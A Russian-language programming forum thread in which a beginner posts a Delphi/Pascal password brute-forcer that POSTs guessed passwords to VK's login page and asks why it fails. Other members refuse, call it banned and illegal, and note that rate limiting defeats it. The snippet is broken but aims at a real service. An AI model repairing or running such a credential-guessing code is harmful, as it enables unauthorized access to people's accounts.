простой брут!

[TeliS]

в чем проблема он даже на правильные данный выдает что они не правильные
вот код:

var
i:integer;
info:tstringlist;
p:Tstringlist;
begin
info:=Tstringlist.Create;
p:=tstringlist.create;
for i:=0 to sMemo1.Lines.Count-1 do
begin
try
info.Add('email=');
info.Add('Password='+sMemo1.Lines.Strings[i]);
p.Text:=idHTTP1.Post('https://login.vk.com/' , info);
except
if pos('Моя Страница', p.Text)>0  then
begin
sMemo2.Lines.Add(sMemo1.Lines.Strings[i]+'Пароль подошел');
end
else
begin
sMemo2.Lines.Add(sMemo1.Lines.Strings[i]+'Пичалька');

end;
end;
end;
end;

ошибка вот тут p.Text:=idHTTP1.Post('https://login.vk.com/' , info);
p.s только начинаю изучать паскаль не ругайтесь сильно!

[Человек_Борща]

Обсужение подобного софта- запрещено.
____________
это ж мячта школьника, выучил ЯП и сразу ломать что-нибудь.....
кул-хацкер блеатъ.

[Stilet]

У нас взломы не обсуждаются.

[eoln]

Даже если не было бы ошибки, то данному бруту место в палеонтологическом музее. У всех приличных сайтов и в вконтакте нельзя перебирать пароль много раз, сервер просто пошлёт куда подальше после n-ой попытки и всё.

только начинаю изучать паскаль не ругайтесь сильно!

Начинай с азов (книжки, задачники и т.п.)

[саша40]

Создание подобного софта запрещено правилами форума и является нарушением закона РФ.
Тему закрыть, автора в бан!